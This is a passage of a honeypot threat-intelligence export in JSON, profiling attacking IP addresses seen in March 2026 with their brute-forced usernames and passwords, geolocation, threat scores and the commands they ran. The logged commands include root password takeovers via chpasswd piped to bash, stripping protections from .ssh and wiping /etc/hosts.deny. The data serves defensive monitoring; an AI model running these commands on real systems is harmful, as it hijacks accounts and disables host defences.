        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nKTzXq4Gz1eBC\\nKTzXq4Gz1eBC\\n\"|passwd",
        "echo \"12345\\ny7vsG3ErWS9i\\ny7vsG3ErWS9i\\n\"|passwd",
        "echo \"123\\nu6SlvcDkfG5n\\nu6SlvcDkfG5n\\n\"|passwd",
        "echo \"ansiblepass\\nDCnHMZY6s1jm\\nDCnHMZY6s1jm\\n\"|passwd",
        "echo -e \"12345\\nKTzXq4Gz1eBC\\nKTzXq4Gz1eBC\"|passwd|bash",
        "echo -e \"12345\\ny7vsG3ErWS9i\\ny7vsG3ErWS9i\"|passwd|bash",
        "echo -e \"123\\nu6SlvcDkfG5n\\nu6SlvcDkfG5n\"|passwd|bash",
        "echo -e \"ansiblepass\\nDCnHMZY6s1jm\\nDCnHMZY6s1jm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 da Lapa",
      "asn": 262514,
      "as_org": "BTT TELECOMUNICACOES S.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 433,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:39:56.766000+00:00",
        "last_seen_30d": "2026-03-09T21:38:56.651000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 62
      }
    },
    "152.32.171.99": {
      "attack_count": 356,
      "first_seen": "2026-03-20T19:50:02.820Z",
      "last_seen": "2026-03-31T13:00:56.845Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "www",
        "host",
        "max",
        "myadmin",
        "oguz",
        "sinusbot",
        "tmp",
        "unity"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "0123456",
        "1234",
        "1a2s3d4f5g",
        "1q2w3e,.",
        "5202514qwe",
        "C3nt0s@2024",
        "LeitboGi0ro",
        "Nethesis,1234",
        "Www123!",
        "a10",
        "abcd@123456789",
        "finger",
        "hnidc888cn!@#",
        "icdadmin",
        "martin",
        "messi",
        "mju76yhn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Www123!\\nBkWHUxg4m6dP\\nBkWHUxg4m6dP\\n\"|passwd",
        "echo \"password\\nfHBXdGmo4RwX\\nfHBXdGmo4RwX\\n\"|passwd",
        "echo \"root:kmBT3FI58jdH\"|chpasswd|bash",
        "echo -e \"Www123!\\nBkWHUxg4m6dP\\nBkWHUxg4m6dP\"|passwd|bash",
        "echo -e \"password\\nfHBXdGmo4RwX\\nfHBXdGmo4RwX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:50:02.820000+00:00",
        "last_seen_30d": "2026-03-31T13:02:05.486000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 356,
        "Suricata": 87
      }
    },
    "45.162.8.14": {
      "attack_count": 331,
      "first_seen": "2026-03-02T11:19:02.222Z",
      "last_seen": "2026-03-24T09:49:01.499Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ram",
        "under",
        "andre",
        "craft",
        "glassfish",
        "hasan",
        "kafka",
        "manuel",
        "mika",
        "rafael",
        "rahul",
        "ralph",
        "u",
        "was"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "1q2w3e4R",
        "Asdfghjkl",
        "Dd123123",
        "P@$$w0rd@2022",
        "Rahul123!",
        "Xm123456",
        "Zc123456",
        "craftpass",
        "hasan",
        "kafkapass",
        "manuel123",
        "mika@123456",
        "myhvtwq49m",
        "qweASD123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nUsW6XHlIScGx\\nUsW6XHlIScGx\\n\"|passwd",
        "echo \"root:jNI8Yck0oWVT\"|chpasswd|bash",
        "echo \"underunder\\n9Ma60deGTaHV\\n9Ma60deGTaHV\\n\"|passwd",
        "echo -e \"12345\\nUsW6XHlIScGx\\nUsW6XHlIScGx\"|passwd|bash",
        "echo -e \"underunder\\n9Ma60deGTaHV\\n9Ma60deGTaHV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268485,
      "as_org": "Fibrativa Telecomunicacoes - Eireli - ME",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:19:02.222000+00:00",
        "last_seen_30d": "2026-03-24T09:50:02.551000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 74
      }
    },
    "89.169.55.232": {
      "attack_count": 325,
      "first_seen": "2026-03-05T18:17:18.113Z",
      "last_seen": "2026-03-05T18:35:08.216Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kyle",
        "linux",
        "temp",
        "abe",
        "rose",
        "student1",
        "testmail",
        "viper"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "2wsx!QAZ",
        "Abc12345",
        "rose123",
        "student1123!",
        "testmail123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\ncmOI1ShjOEGC\\ncmOI1ShjOEGC\\n\"|passwd",
        "echo \"123456\\nz2Wy98KiKYeN\\nz2Wy98KiKYeN\\n\"|passwd",
        "echo \"123\\nNcMAPKsGn9Zl\\nNcMAPKsGn9Zl\\n\"|passwd",
        "echo \"root:2h5yQ52ZrAme\"|chpasswd|bash",
        "echo -e \"12345678\\ncmOI1ShjOEGC\\ncmOI1ShjOEGC\"|passwd|bash",
        "echo -e \"123456\\nz2Wy98KiKYeN\\nz2Wy98KiKYeN\"|passwd|bash",
        "echo -e \"123\\nNcMAPKsGn9Zl\\nNcMAPKsGn9Zl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 210644,
      "as_org": "Aeza International Ltd",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:17:18.113000+00:00",
        "last_seen_30d": "2026-03-05T18:36:11.655000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 40
      }
    },
    "190.244.24.185": {
      "attack_count": 314,
      "first_seen": "2026-03-03T23:19:09.894Z",
      "last_seen": "2026-03-05T06:02:08.066Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "12345a",
        "1q2w3e4r!@",
        "1qaz1QAZ",
        "786786",
        "ADMIN123",
        "Aa@123",
        "Oe123456@",
        "Passw0rd2025",
        "QQqq123456",
        "Qwer!@#$1234",
        "Sl123456@",
        "Sz123456.",
        "Vp123456",
        "batman",
        "bbbb",
        "jenkins",
        "london"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3NXNQi9qTikJ\"|chpasswd|bash",
        "echo \"root:ux47ZH8OdytA\"|chpasswd|bash",
        "echo \"root:xWQvaBjcHDU7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:19:09.894000+00:00",
        "last_seen_30d": "2026-03-05T06:03:17.716000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 69
      }
    },
    "207.154.254.44": {
      "attack_count": 306,
      "first_seen": "2026-03-05T05:18:35.165Z",
      "last_seen": "2026-03-09T18:22:38.297Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "acer",
        "superman",
        "ftpsecure",
        "ftptest",
        "jim",
        "lyt",
        "qiyuesuo",
        "ryan",
        "ys",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "014789",
        "1",
        "1234",
        "12345",
        "123456789a@",
        "9ol.0p;/",
        "ChangeMe",
        "Huawei@321",
        "Joker123",
        "Py123456",
        "Qiyuesuo123",
        "abcdefgh",
        "ftptest",
        "jim123!",
        "password",
        "qwerty123456",
        "ryanpass",
        "supermanpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nh95XQKssLwqX\\nh95XQKssLwqX\\n\"|passwd",
        "echo \"root:bCzIZKeeB2jZ\"|chpasswd|bash",
        "echo \"supermanpass\\nrtlPRxx0Xv2i\\nrtlPRxx0Xv2i\\n\"|passwd",
        "echo -e \"1\\nh95XQKssLwqX\\nh95XQKssLwqX\"|passwd|bash",
        "echo -e \"supermanpass\\nrtlPRxx0Xv2i\\nrtlPRxx0Xv2i\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:18:35.165000+00:00",
        "last_seen_30d": "2026-03-09T18:23:38.626000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 59
      }
    },
    "103.228.36.205": {
      "attack_count": 246,
      "first_seen": "2026-03-08T10:48:21.020Z",
      "last_seen": "2026-03-08T10:49:36.897Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:36:42.661000+00:00",
        "last_seen_30d": "2026-03-08T10:50:46.398000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 128
      }
    },
    "122.35.192.61": {
      "attack_count": 236,
      "first_seen": "2026-03-27T07:54:16.005Z",
      "last_seen": "2026-03-27T09:49:52.489Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234543211",
        "123456asdfg",
        "123ubuntu",
        "2wsx#EDC4rfv%TGB",
        "P@ssw0rda",
        "Password!1234",
        "Qq1234567890",
        "aA123456",
        "kaikai",
        "mutant",
        "password123#",
        "play",
        "q123456!",
        "qaz789",
        "qiang123",
        "qwerASDF",
        "ramon123",
        "seaways"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:InRKs2BD7YZY\"|chpasswd|bash",
        "echo \"root:RLu3rPQf0kGU\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:54:16.005000+00:00",
        "last_seen_30d": "2026-03-27T09:50:53.901000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "202.155.157.109": {
      "attack_count": 236,
      "first_seen": "2026-03-30T13:06:16.595Z",
      "last_seen": "2026-03-30T14:30:46.586Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123abC.",
        "1q2w3e$R5t",
        "Abc#123",
        "PA$$w0rd@12345",
        "Platform",
        "QAYWSX",
        "Qwert@123",
        "Supp0rt1",
        "afrika",
        "asdfghjk2025",
        "libreelec",
        "n3wp@ss",
        "op90op90",
        "pass123.",
        "proxy123",
        "qweewq123",
        "qwertyasdfgh",
        "robin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0QEqYCNje8qu\"|chpasswd|bash",
        "echo \"root:FmcmWP09V0F3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:06:16.595000+00:00",
        "last_seen_30d": "2026-03-30T14:31:54.800000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "27.79.7.137": {
      "attack_count": 219,
      "first_seen": "2026-03-02T02:13:37.973Z",
      "last_seen": "2026-03-02T02:31:30.072Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "test",
        "user",
        "1234",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "guest",
        "installer",
        "nikita",
        "operator",
        "oracle",
        "rebecca",
        "squid",
        "sshd",
        "sync",
        "system"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "password",
        "12345",
        "0l0ctyQh243O63uD",
        "123456",
        "321start",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin01",
        "admin123",
        "admin@123",
        "alpine",
        "asteriskftp",
        "click1",
        "config",
        "default",
        "ftp",
        "guest"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:13:37.973000+00:00",
        "last_seen_30d": "2026-03-02T02:32:37.912000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 91
      }
    },
    "130.51.21.20": {
      "attack_count": 218,
      "first_seen": "2026-03-12T16:12:42.805Z",
      "last_seen": "2026-03-26T17:23:17.950Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "k8s",
        "user",
        "zed",
        "andoh",
        "app",
        "claude",
        "cvs",
        "dockeradmin",
        "guest",
        "ravi",
        "server",
        "simone",
        "sunyinqian",
        "vnc",
        "wu"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "12345678",
        "123654",
        "1qaz@WSX",
        "app123",
        "claude1",
        "cvs",
        "guest1",
        "manager",
        "simone123!",
        "sitonholy-2009",
        "syq@bii",
        "wu!@#",
        "zed"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n2e0QCFBYjQNP\\n2e0QCFBYjQNP\\n\"|passwd",
        "echo \"zed\\nrKEM0fVcbXb0\\nrKEM0fVcbXb0\\n\"|passwd",
        "echo -e \"12345\\n2e0QCFBYjQNP\\n2e0QCFBYjQNP\"|passwd|bash",
        "echo -e \"zed\\nrKEM0fVcbXb0\\nrKEM0fVcbXb0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:12:42.805000+00:00",
        "last_seen_30d": "2026-03-26T17:24:26.570000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 46
      }
    },
    "187.107.88.97": {
      "attack_count": 214,
      "first_seen": "2026-03-03T23:16:54.356Z",
      "last_seen": "2026-03-15T16:36:19.450Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "marcelo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345a",
        "1q2w3e4r!@",
        "1qaz1QAZ",
        "786786",
        "Bingo@1993",
        "QQqq123456",
        "Sz123456.",
        "Vp123456",
        "batman",
        "qaz@1234",
        "qwe123456!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3WwLrmsLjDng\"|chpasswd|bash",
        "echo \"root:qvVn7okNC2Ft\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
